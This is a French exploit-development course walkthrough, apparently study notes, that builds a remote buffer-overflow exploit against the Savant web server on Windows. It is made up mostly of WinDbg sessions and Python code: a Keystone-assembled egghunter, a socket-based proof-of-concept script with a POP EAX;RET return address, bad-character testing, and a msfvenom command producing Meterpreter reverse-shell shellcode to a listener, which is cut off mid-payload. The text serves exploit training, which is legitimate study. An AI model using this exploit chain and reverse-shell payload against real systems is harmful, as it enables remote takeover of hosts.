Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET
:
- On trouve le pattern
w00tw00t
une seule fois en mémoire
0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
[...]
00418674 58 pop eax
0:004> s -a 0x0 L?80000000 w00tw00t
01965aa6 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
#
0:004> db 01965aa6 + 0n408 - 4 L4
01965c3a 44 44 44 44 DDDD
On a donc identifié avec succès un second buffer on l'on va pouvoir stocker notre shellcode final.
Gestionnaire de Tas Windows
On a trouve notre pattern a l'adresse mémoire 01965aa6
. Cependant, si on affiche la pile via !teb
on se rend compte que l'adresse n'est pas dans la pile. On utilise la commande !address
pour obtenir des informations sur l'adresse fournie en paramètre. L'adresse est présente sur la heap
(tas) :
#
0:004> s -a 0x0 L?80000000 w00tw00t
01965aa6 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
#
0:004> !teb
TEB at 00385000
ExceptionList: 046cff70
StackBase: 046d0000
StackLimit: 046cc000
[...]
0:004> !address 01965aa6
[...]
Usage: Heap
Base Address: 01960000
End Address: 0196f000
[...]
Le Windows Heap Memory Manager est une couche logicielle qui se situe au-dessus des interfaces de la mémoire virtuelle fournies par Windows. Cet outil permet aux applications de demander et relâcher dynamiquement de la mémoire à travers un panel d'API Windows (VirtualAllocEx
VirtualFreeEx
- HeapAlloc
- HeapFree
).
Dans Windows, quand un nouveau processus se lance, le Heap Manager
va automatiquement créer une nouvelle heap
appellee default process heap. À haut niveau, les heap
sont de gros morceaux de mémoire qui sont divisés en petit morceau pour répondre aux demandes dynamiques d'allocation mémoire.
Certain processus n'utilisent que le default process heap mais la plupart vont en créer de nouveaux avec l'API HeapCreate
ou ntdll!RtlCreateHeap
pour isoler des composants s'exécutant dans un même processus. Certains processus utilise C Runtime Heap pour la plupart de leurs allocations dynamiques (malloc
- free
). Ces fonctions vont à terme utiliser les fonctions du Heap Manager de NTDLL qui fait le lien avec le noyau Windows (Windows Virtual Memory Manager).
Du fait que notre buffer est stocké dans une mémoire dynamique, il n'est pas possible de déterminer sa localisation en avance. D'autres techniques doivent être utilisées pour trouver notre buffer.
L'approche Egg Hunter
Quand on doit trouver l'adresse mémoire d'un autre buffer sous notre contrôle dont l'adresse n'est pas statique on utilise des egghunter.
Keystone Engine
Écrire du shellcode est simplifie avec l'utilisation d'outil tel que Keystone Engine qui est un framework assembleur. Il fait le lien avec différent langage de programmation tel que Python. On peut l'utiliser pour écrire de l'assembleur directement dans le code Python.
Exemple de code Python contenant du code assembleur :
# Import de tous les éléments de la librairie
from keystone import *
# Déclaration de la variable `CODE` qui contient du code assembleur
CODE = (
" "
" start: "
" xor eax, eax ;"
" add eax, ecx ;"
" push eax ;"
" pop esi ;"
)
# Initialisation du `Keystone Engine` qui prend deux paramètres : l'architecture et le mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
# Compilation des instructions assembleur
# La fonction `asm` renvoie une liste de byte encodes et le nombre d'instructions compilées
encoding, count = ks.asm(CODE)
instructions = ""
# Itération sur les bytes
for dec in encoding:
# Stockage au format python shellcode
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Opcodes = (\"" + instructions + "\")")
Résultat à l'exécution :
On vérifie que les opcodes correspondent a ceux générés via msf-nasm_shell
:
$ msf-nasm_shell
nasm > xor eax,eax
00000000 31C0 xor eax,eax
nasm > add eax,ecx
00000000 01C8 add eax,ecx
nasm > push eax
00000000 50 push eax
nasm > pop esi
00000000 5E pop esi
Egghunters et appels système
Un egghunter est un petit payload first-stage qui peut chercher dans le Virtual Address Space (VAS) du processus à la recherche du egg. Il va globalement chercher dans tout l'espace mémoire du programme cible.
Un des problèmes majeurs est qu'il n'est pas possible de savoir à l'avance si un espace mémoire est mappe ou pas - si on a les accès pour y accéder - quel type d'accès est autorisé sur cette espace mémoire. Dans de nombreux cas, on risque de déclencher un access violation.
L'auteur original de la première preuve de concept a utilisé l'appel système NtAccessCheckAndAuditAlarm
(numero 0x2
).
Un appel système (system call) est une interface entre espace utilisateur et espace noyau. Généralement, appelle à travers une instruction ASM dédiée (interupt / trap). Quand un appel système est appelé :
- Le programme courant va le signaler au système d'exploitation et demander à ce que l'opération soit réalisée
- Le système d'exploitation prend en charge l'opération en background
- Le système d'exploitation redonne la main au logiciel avec le résultat de l'opération
Le egghunter va profiter de ce fonctionnement. Plutôt que de parcourir la mémoire au sein du programme et de risquer un access violation on utilise un appel système afin de laisser le système d'exploitation accéder aux adresses mémoires. Avant que la fonction soit appelée, le système d'exploitation va copier les arguments fournis dans l'espace utilisateur vers l'espace noyau.
Si l'adresse mémoire n'est pas mappée ou qu'on ne possède pas les bons accès, l'opération de copie va soulever un access violation. Le access violation va être géré dans le background et renvoyer un code STATUS_ACCESS_VIOLATION
(0xc0000005
), permettant au egghunter de continuer à la prochaine page mémoire.
Afin d'appeler un appel système, le système d'exploitation doit connaitre la fonction à appeler et les arguments a passer :
- Dans architecture
x86
la fonction est spécifiée via un numéro d'appel système unique (System Call Number) qui est positionné au sein du registreEAX
- Depot des arguments sur la pile si la fonction prend des paramètres
- Copie du pointeur de pile
ESP
dans le registreEDX
qui est passé en paramètre à l'appel système
Durant l'appel système, l'OS va tenter d'accéder à l'adresse mémoire ou les arguments de la fonction sont stockés pour les copier de l'espace utilisateur à l'espace noyau. Si le registre EDX
pointe sur une adresse mémoire non mappée ou à laquelle on a pas accès à cause d'un manque de permission le système d'exploitation va déclencher un access violation. L' access violation va être géré pour nous et renvoyer STATUS_ACCESS_VIOLATION
dans EAX
.
En appelant l'appel système NtAccessCheckAndAuditAlarm
on va obtenir seulement deux résultats possibles :
- Si l'adresse est valide et qu'on a accès :
STATUS_NO_IMPERSONATION_TOKEN
- Si l'adresse est non mappée ou qu'on a a pas accès :
STATUS_ACCESS_VIOLATION
Analyse en détail du code assembleur de la preuve de concept original de egghunter :
#
#
" loop_inc_page: "
# Operation `OR` sur le registre `DX` (`EDX`)
# Va faire pointer `EDX` sur la dernière adresse de la page mémoire
" or dx, 0x0fff ;"
#
#
" loop_inc_one: "
# Operation `INC` sur le registre `EDX`
# Incrémenter `EDX` de `1` pour pointer sur une nouvelle page mémoire
" inc edx ;"
Le registre EDX
contient maintenant l'adresse de la prochaine page mémoire.
#
#
" loop_check: "
# On positionne le contenu du registre `EDX` sur la pile
# Non nécessaire, mais permet d'assurer une sauvegarde, car on ne peut pas garantir que EDX sera restauré a la suite de l'appel système
" push edx ;"
# On positionne `0x2` sur la pile. 0x2 est le numéro de l'appel système NtAccessCheckAndAuditAlarm
" push 0x2 ;"
# On positionne le dernier élément de la pile (`pop`) qui est donc `0x2` qu'on vient de mettre dans la pile dans le registre `EAX`
# Le numéro de l'appel système est dans `EAX`
" pop eax ;"
# Le numéro de l'appel système est dans `EAX` et `EDX` contient un faux pointeur
# On invoque l'appel système va `INT`
" int 0x2e ;"
Le système d'exploitation va invoquer l'appel système. Durant cet appel il va vérifier l'adresse mémoire stockée dans EDX
pour récupérer les arguments de la fonction. Si l'accès a cette adresse stockée dans EDX
entraine un access violation on obtiendra le statut STATUS_ACCESS_VIOLATION
(0xc0000005
) dans EAX
.
Le prochain morceau de code va analyser le retour de l'appel système :
# On compare `AL` (registre du bas de `EAX`) avec `05` pour éviter le *null bytes*
" cmp al,05 ;"
# On restaure l'adresse mémoire depuis la pile dans `EDX`
" pop edx ;"
#
#
" loop_check_valid: "
# Jump conditionnel qui va se baser sur le résultat de l'opération `CMP`
# Si un `STATUS_ACCESS_VIOLATION` a été trouvé, on se déplace à la prochaine page mémoire en faisant un jump vers le début de notre script pour refaire les étapes précédentes
# Si la mémoire est mappée ou qu'on a accès on continue pour aller vérifier notre signature unique (*egg*)
" je loop_inc_page ;"
On arrive ici si la mémoire est mappée ou qu'on a accès à la recherche de notre egg :
#
#
" is_egg: "
# On place note *egg* (ici `w00t` mais ça pourrait être autre chose) dans le registre `EAX`
" mov eax, 0x74303077 ;"
# On copie l'adresse présente dans `EDX` dans `EDI`
" mov edi, edx ;"
# Compare la valeur stockée dans `EAX` avec le 1er DWORD de l'adresse mémoire sur laquelle pointe `EDI` (qui contient maintenant l'adresse stockée dans `EDX` à laquelle l'appel système a pu accéder)
# On vérifie ainsi si l'adresse mappée identifiée via l'appel système contient l'*egg* ou pas
# Mets à jour le registre `ZF` en fonction du résultat de la comparaison
# Incrémenter automatiquement `EDI` de 1 DWORD
" scasd ;"
# Jump conditionnel dépendant du résultat de la comparaison via `scasd`
# Si le 1er DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour repeter le processus de recherche en incrémentant l'adresse mémoire de un
# Si le 1er DWORD est trouve on va réutiliser SCASD pour chercher le deuxième DWORD de notre egg
" jnz loop_inc_one ;"
On arrive ici si on a trouvé le premier DWORD de notre egg et qu'on cherche le deuxième :
# Compare de nouveau `EAX` mais avec le 2em DWORD de `EDI` (à la suite de l'incrémentation du premier `SCASD`)
" scasd ;"
# Jump conditionnel dépendant du résultat de la comparaison via `scasd`
# Si le 2em DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour répéter le processus
# Si le 2em DWORD est trouve on continue
" jnz loop_inc_one ;"
#
#
" matched: "
# On jump sur `EDI` qui contient donc l'*egg* puisque les 2 DWORD sont présents
" jmp edi ;"
Code complet :
from keystone import *
CODE = (
#
#
" loop_inc_page: "
# Operation `OR` sur le registre `DX` (`EDX`)
# Va faire pointer `EDX` sur la dernière adresse de la page mémoire
" or dx, 0x0fff ;"
#
#
" loop_inc_one: "
# Operation `INC` sur le registre `EDX`
# Incrémenter `EDX` de `1` pour pointer sur une nouvelle page mémoire
" inc edx ;"
#
#
" loop_check: "
# On positionne le contenu du registre `EDX` sur la pile
# Non nécessaire, mais permet d'assurer une sauvegarde, car on ne peut pas garantir que EDX sera restauré a la suite de l'appel système
" push edx ;"
# On positionne `0x2` sur la pile. 0x2 est le numéro de l'appel système NtAccessCheckAndAuditAlarm
" push 0x2 ;"
# On positionne le dernier élément de la pile (`pop`) qui est donc `0x2` qu'on vient de mettre dans la pile dans le registre `EAX`
# Le numéro de l'appel système est dans `EAX`
" pop eax ;"
# Le numéro de l'appel système est dans `EAX` et `EDX` contient un faux pointeur
# On invoque l'appel système va `INT`
" int 0x2e ;"
# On compare `AL` (registre du bas de `EAX`) avec `05` pour éviter le *null bytes*
" cmp al,05 ;"
# On restaure l'adresse mémoire depuis la pile dans `EDX`
" pop edx ;"
#
#
" loop_check_valid: "
# Jump conditionnel qui va se baser sur le résultat de l'opération `CMP`
# Si un `STATUS_ACCESS_VIOLATION` a été trouvé, on se déplace à la prochaine page mémoire en faisant un jump vers le début de notre script pour refaire les étapes précédentes
# Si la mémoire est mappée ou qu'on a accès on continue pour aller vérifier notre signature unique (*egg*)
" je loop_inc_page ;"
#
#
" is_egg: "
# On place note *egg* (ici `w00t` mais ça pourrait être autre chose) dans le registre `EAX`
" mov eax, 0x74303077 ;"
# On copie l'adresse présente dans `EDX` dans `EDI`
" mov edi, edx ;"
# Compare la valeur stockée dans `EAX` avec le 1er DWORD de l'adresse mémoire sur laquelle pointe `EDI` (qui contient maintenant l'adresse stockée dans `EDX` à laquelle l'appel système a pu accéder)
# On vérifie ainsi si l'adresse mappée identifiée via l'appel système contient l'*egg* ou pas
# Mets à jour le registre `ZF` en fonction du résultat de la comparaison
# Incrémenter automatiquement `EDI` de 1 DWORD
" scasd ;"
# Jump conditionnel dépendant du résultat de la comparaison via `scasd`
# Si le 1er DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour repeter le processus de recherche en incrémentant l'adresse mémoire de un
# Si le 1er DWORD est trouve on va réutiliser SCASD pour chercher le deuxième DWORD de notre egg
" jnz loop_inc_one ;"
# Compare de nouveau `EAX` mais avec le 2em DWORD de `EDI` (à la suite de l'incrémentation du premier `SCASD`)
" scasd ;"
# Jump conditionnel dépendant du résultat de la comparaison via `scasd`
# Si le 2em DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour répéter le processus
# Si le 2em DWORD est trouve on continue
" jnz loop_inc_one ;"
#
#
" matched: "
# On jump sur `EDI` qui contient donc l'*egg* puisque les 2 DWORD sont présents
" jmp edi ;"
)
# Initialize engine in 32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("egghunter = (\"" + egghunter + "\")")
Exécution du script complet et génération des opcodes correspondants :
$ python3 egghunter.py
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
Mise à jour de la preuve de concept en intégrant les opcodes générés :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17
egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
b"\x66\x81\xca\xff\x0f\x42\x52\x6a"
b"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x77\x30\x30\x74\x89\xd7"
b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
httpEndRequest = b"\r\n\r\n"
shellcode = b"w00tw00t" + b"\x44" * 400
buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode
print("Sending buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
On positionne un point d'arrêt sur l'adresse ou se trouve l'instruction POP EAX;RET
:
On exécute le nouvel exploit et le point d'arrêt est atteint :
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=018d5778 ecx=0000000e edx=77841670 esi=018d5778 edi=0041703c
eip=00418674 esp=0460ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax
On procède à l'exécution jusqu'à ce qu'un embranchement soit rencontré avec ph
.
The ph command executes the program until any kind of branching instruction is reached, including conditional or unconditional branches, calls, returns, and system calls.
0:004> ph
eax=0460fe70 ebx=018d5778 ecx=00000000 edx=77841670 esi=018d5778 edi=0041703c
eip=0460ea88 esp=0460ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0460ea88 0f8411000000 je 0460ea9f [br=1]
#
# On décompile les opcodes à l'adresse `0460ea9f`. On retrouve bien les NOP + le code ASM pour le egghunter
0:004> u 0460ea9f L16
0460ea9f 90 nop
0460eaa0 90 nop
0460eaa1 90 nop
0460eaa2 90 nop
0460eaa3 90 nop
0460eaa4 90 nop
0460eaa5 6681caff0f or dx,0FFFh
0460eaaa 42 inc edx
0460eaab 52 push edx
0460eaac 6a02 push 2
0460eaae 58 pop eax
0460eaaf cd2e int 2Eh
0460eab1 3c05 cmp al,5
0460eab3 5a pop edx
0460eab4 74ef je 0460eaa5
0460eab6 b877303074 mov eax,offset msvcp_win!_CTA2?AVbad_exceptionstd+0x13cab (74303077)
0460eabb 89d7 mov edi,edx
0460eabd af scas dword ptr es:[edi]
0460eabe 75ea jne 0460eaaa
0460eac0 af scas dword ptr es:[edi]
0460eac1 75e7 jne 0460eaaa
0460eac3 ffe7 jmp edi
#
# On recherche notre egg pour confirmer qu'il est bien en mémoire et on le trouve bien
0:004> s -a 0x0 L?80000000 w00tw00t
018d5b2e 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
#
# On met un point d'arrêt sur l'adresse ou le `jmp edi` est réalisé
0:004> bp 0460eac3
#
# On relance
0:004> g
Le point d'arrêt n'est jamais atteint, Le egghunter tourne, mais ne trouve pas le egg. Pourtout on a bien confirmé qu'il est présent dans la mémoire via la recherche avec s
.
Cet exploit fonctionne sur Windows 7
mais pas Windows 10
. Des changements entre les deux versions ont entrainé un dysfonctionnement du egghunter. Il est nécessaire de le modifier.
Corriger l'exploit
On doit analyser notre preuve de concept pour comprendre pourquoi le egghunter ne fonctionne pas. Le point d'échec potentiel le plus important est l'appel à la fonction NtAccessCheckAndAuditAlarm
.
Un des points négatifs de mettre le numéro de l'appel système au sein du code (ici 0x02
) est qu'il peut être amené à changer. Avant Windows 8 le numéro de l'appel système de NtAccessCheckAndAuditAlarm
était 0x02
, ce n'est plus le cas ensuite. À partir de Windows 10, il change à chaque mise à jour.
On identifie le nouveau numéro d'appel système qui est 1C6h
.
ntdll!NtAccessCheckAndAuditAlarm:
77840ec0 b8c6010000 mov eax,1C6h # ICI
77840ec5 e803000000 call ntdll!NtAccessCheckAndAuditAlarm+0xd (77840ecd)
77840eca c22c00 ret 2Ch
77840ecd 8bd4 mov edx,esp
On met à jour notre script Python
pour générer les opcodes du egghunter :
Génération des opcodes à la suite de la mise à jour du numéro d'appel système :
$ python3 egghunter.py
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")
On obtient des null bytes : \x00\x00\
en passant de push 0x2
a push 0x1c6
. Problématique, car les null bytes sont des mauvais caractères.
On va utiliser l'instruction NEC
qui est l'equivalent d'une soustraction sur 0
. On doit trouver un nombre qui soustrait a 0
va donner 1c6
.
On fait les opérations dans WinDBG :
0:004> ? 0x00 - 0x1C6
Evaluate expression: -454 = fffffe3a
0:004> ? 0x00 - 0xfffffe3a
Evaluate expression: -4294966842 = ffffffff`000001c6
On met à jour le code Python
qui génère les opcodes du egghunter pour l'adapter
" loop_check: "
# Save the edx register which holds our memory
# address on the stack
" push edx ;"
# Push the negative number value of the system call number
" mov eax 0xfffffe3a ;"
# Initialize the call to NtAccessCheckAndAuditAlarm
" neg eax ;"
# Perform the system call
" int 0x2e ;"
On génère de nouveau les opcodes suite a la mis à jour :
$ python3 egghunter_v2.py
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7")
On positionne un point d'arrêt sur l'adresse ou se trouve l'instruction POP EAX;RET
:
0:010> bp 0x418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
#
#
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=018f5778 ecx=0000000e edx=77841670 esi=018f5778 edi=0041703c
eip=00418674 esp=0477ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax
#
#
0:005> ph
eax=0477fe70 ebx=018f5778 ecx=0000000e edx=77841670 esi=018f5778 edi=0041703c
eip=00418675 esp=0477ea30 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18675:
00418675 c3 ret
#
#
0:005> ph
eax=0477fe70 ebx=018f5778 ecx=00000000 edx=77841670 esi=018f5778 edi=0041703c
eip=0477ea88 esp=0477ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0477ea88 0f8411000000 je 0477ea9f [br=1]
#
# On décompile les opcodes a l'adresse `0460ea9f`. On retrouve bien les NOP + le code ASM pour le egghunter
0:005> u 0477ea9f L16
0477ea9f 90 nop
0477eaa0 90 nop
0477eaa1 90 nop
0477eaa2 90 nop
0477eaa3 90 nop
0477eaa4 90 nop
0477eaa5 6681caff0f or dx,0FFFh
0477eaaa 42 inc edx
0477eaab 52 push edx
0477eaac b83afeffff mov eax,0FFFFFE3Ah
0477eab1 f7d8 neg eax
0477eab3 cd2e int 2Eh
0477eab5 3c05 cmp al,5
0477eab7 5a pop edx
0477eab8 74eb je 0477eaa5
0477eaba b877303074 mov eax,offset msvcp_win!_CTA2?AVbad_exceptionstd+0x13cab (74303077)
0477eabf 89d7 mov edi,edx
0477eac1 af scas dword ptr es:[edi]
0477eac2 75e6 jne 0477eaaa
0477eac4 af scas dword ptr es:[edi]
0477eac5 75e3 jne 0477eaaa
0477eac7 ffe7 jmp edi
#
# On met un point d'arrêt sur l'adresse ou le `jmp edi` est réalisé
0:005> bp 0477eac7
#
#
0:005> g
Le second point d'arrêt est atteint. On est bien sur jmp edi
. On affiche le contenu de edi
, et on est bien sur le egg w00tw00t
suivis du shellcode de 44444444
:
Breakpoint 1 hit
eax=74303077 ebx=018f5778 ecx=0477ea30 edx=018f5b2e esi=018f5778 edi=018f5b36
eip=0477eac7 esp=0477ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0477eac7 ffe7 jmp edi {018f5b36}
0:005> dc @edi - 0x08
018f5b2e 74303077 74303077 44444444 44444444 w00tw00tDDDDDDDD
018f5b3e 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
[...]
Problématique récurrente durant le développement d'exploit : trouver le compromis entre portabilité et taille d'exploit.
Récupérer un shell
Maintenant que le egghunter fonctionne, on peut mettre en oeuvre notre shellcode.
Il faut se rappeler que le second buffer est dans une page mémoire différente allouée par le tas (heap). On ne connait pas les bad char de cette page mémoire et on a vu précédemment que les mauvais caractères ne sont pas universels a une application.
On met à jour la preuve de concept avec les tous les caractères hexadécimal en les positionnant dans le second buffer :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
b"\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e"
b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
b"\x75\xe3\xff\xe7")
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"
badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode = b"w00tw00t" + badchars + b"\x44" * (400 - len(badchars))
buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode
print("Sending buffer")
[...]
On positionne le point d'arrêt sur POP EAX
et on relance l'exécution :
#
0:009> bp 0x418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
0:009> bl
0 d Enable Clear 00000000 e 1 0001 (0001) 0:****
1 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674
0:009> g
Puis on relance l'exploit :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ python3 egg_v11.py 192.168.234.10
Sending buffer
Done!
Le point d'arrêt est atteint. On cherche manuellement notre egg avec WinDBG. On le trouve à l'adresse 001e5b2e
et on affiche son contenu :
Breakpoint 1 hit
eax=00000000 ebx=001e5778 ecx=0000000e edx=77841670 esi=001e5778 edi=0041703c
eip=00418674 esp=0455ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax
#
0:004> s -a 0x0 L?80000000 w00tw00t
001e5b2e 77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07 w00tw00t........
#
0:004> db 001e5b2e L110
001e5b2e 77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07 w00tw00t........
001e5b3e 08 09 0a 0b 0c 0d 0e 0f-10 11 12 13 14 15 16 17 ................
001e5b4e 18 19 1a 1b 1c 1d 1e 1f-20 21 22 23 24 25 26 27 ........ !"#$%&'
001e5b5e 28 29 2a 2b 2c 2d 2e 2f-30 31 32 33 34 35 36 37 ()*+,-./01234567
001e5b6e 38 39 3a 3b 3c 3d 3e 3f-40 41 42 43 44 45 46 47 89:;<=>?@ABCDEFG
001e5b7e 48 49 4a 4b 4c 4d 4e 4f-50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW
001e5b8e 58 59 5a 5b 5c 5d 5e 5f-60 61 62 63 64 65 66 67 XYZ[\]^_`abcdefg
001e5b9e 68 69 6a 6b 6c 6d 6e 6f-70 71 72 73 74 75 76 77 hijklmnopqrstuvw
001e5bae 78 79 7a 7b 7c 7d 7e 7f-80 81 82 83 84 85 86 87 xyz{|}~.........
001e5bbe 88 89 8a 8b 8c 8d 8e 8f-90 91 92 93 94 95 96 97 ................
001e5bce 98 99 9a 9b 9c 9d 9e 9f-a0 a1 a2 a3 a4 a5 a6 a7 ................
001e5bde a8 a9 aa ab ac ad ae af-b0 b1 b2 b3 b4 b5 b6 b7 ................
001e5bee b8 b9 ba bb bc bd be bf-c0 c1 c2 c3 c4 c5 c6 c7 ................
001e5bfe c8 c9 ca cb cc cd ce cf-d0 d1 d2 d3 d4 d5 d6 d7 ................
001e5c0e d8 d9 da db dc dd de df-e0 e1 e2 e3 e4 e5 e6 e7 ................
001e5c1e e8 e9 ea eb ec ed ee ef-f0 f1 f2 f3 f4 f5 f6 f7 ................
001e5c2e f8 f9 fa fb fc fd fe ff-44 44 44 44 44 44 44 44 ........DDDDDDDD
Aucun mauvais caractère n'est présent, pas même 00
. On peut donc générer un shellcode reverse shell Meterpreter :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.183 LPORT=443 -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of python file: 1926 bytes
payload = b""
payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5"
payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
payload += b"\x72\x28\x31\xff\x0f\xb7\x4a\x26\x31\xc0\xac"
payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
payload += b"\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57"
payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
payload += b"\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3\x85\xc9"
payload += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
